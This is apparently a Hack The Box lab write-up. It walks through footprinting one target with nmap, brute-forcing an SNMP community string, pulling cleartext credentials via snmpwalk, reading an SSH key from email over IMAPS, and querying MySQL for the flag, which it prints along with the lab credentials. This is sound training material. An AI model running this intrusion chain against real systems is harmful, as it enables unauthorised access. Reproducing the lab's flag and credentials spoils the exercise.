HTB Footprinting Lab (hard) write-up

thesw0rdthesw0rd
3 min read

This is a concise writeup about hacking an HTB Machine, specifically a task from the footprinting lab at the end of the "Footprinting" module.

  • Initial Nmap Scan: An initial Nmap scan of the target 10.129.202.20 revealed several open ports:

      $ sudo nmap -sV 10.129.202.20
      $ sudo nmap -sV -sU 10.129.202.20
    

    Key Findings:

    • OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 on port 22.

    • Dovecot pop3d on ports 110 and 995.

    • Dovecot imapd on ports 143 and 993.

    • Port 161 was open for SNMP.

  • SNMP Community String Brute-Force: Trying some scripts for IMAP, POP3 didn’t much help. Then, using onesixtyone with a wordlist, the SNMP community string backup was discovered.

      $ onesixtyone -c wordlists/SecLists/Discovery/SNMP/snmp.txt 10.129.202.20
    

    Key Findings:

    • Community string backup found for 10.129.202.20.

    • System identified as Linux NIXHARD 5.4.0-90-generic.

  • SNMP Enumeration with snmp-check: With the backup community string, snmp-check was used to enumerate the system. This provided system information including the hostname (NIXHARD), description (Linux NIXHARD 5.4.0-90-generic) and contact (Admin tech@inlanefreight.htb).

      $ snmp-check -c backup 10.129.202.20
    

    Key Findings:

    • Hostname: NIXHARD.

    • Description: Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64.

    • Contact: Admin <tech@inlanefreight.htb>.

    • Location: Inlanefreight.

  • Getting MIB information with snmpwalk: Further enumeration with snmpwalk using the backup community string revealed more detailed information.

      $ snmpwalk -v2c -c backup 10.129.202.20
    

    Key Findings:

    • A string value tom NMds732Js2761 was found at iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80, which appeared to be a username and password.

    • A script /opt/tom-recovery.sh was referenced.

  • IMAPS Login: The discovered credentials tom:NMds732Js2761 were successfully used to log into the IMAPS service on 10.129.202.20.

      $ openssl s_client -connect 10.129.202.20:imaps
      ...<SNIP>...
      a login tom NMds732Js2761
      ...<SNIP>...
    

    Key Findings:

    • Successful login to IMAPS for user tom.
  • Retrieving SSH Private Key from Email: Inside the INBOX, an email with the subject "KEY" was found. The body of this email contained an SSH private key.

    Bash

      ...<SNIP>...
      a2 LIST "" "*"
      * LIST (\HasNoChildren) "." Notes
      * LIST (\HasNoChildren) "." Meetings
      * LIST (\HasNoChildren \UnMarked) "." Important
      * LIST (\HasNoChildren) "." INBOX
      a3 SELECT INBOX
      ...<SNIP>...
      a4 FETCH 1 BODY[TEXT]
      ...<SSH KEY>...
    

    Key Findings:

    • Found an email in INBOX with Subject: KEY.

    • The email body contained a -----BEGIN OPENSSH PRIVATE KEY----- block.

  • SSH Access: The SSH private key was saved to a file named id_rsa, permissions were set to 600, and SSH access was gained to the NIXHARD machine as user tom.

      $ chmod 600 id_rsa
      $ ssh -i id_rsa tom@10.129.202.20 -v
    
  • Post-Login Enumeration and Flag Capture: After gaining SSH access, I navigated the file system. I checked tom's .bash_history and discovered commands related to MySQL.

      $ cat ~/.bash_history
    

    Key Findings from .bash_history:

    • mysql -u tom -p command was executed multiple times.

This led me to connect to MySQL as tom.

    $ mysql -u tom -p
    Enter password:
    show databases;
    use users;
    show tables;
    show columns from users;
    select * from users where username='HTB';

Key Findings from MySQL:

  • Listing databases using show databases; revealed a users database.

  • Selecting the users database (use users;) and listing tables (show tables;) showed a table also named users.

  • Examining the schema of the users table (show columns from users;) showed id, username, and password columns.

  • Querying the users table for a specific username HTB (select * from users where username='HTB';) revealed the password for HTB: cr3n4o7rzse7rzhnckhssncif7ds. This was the flag for the CTF.

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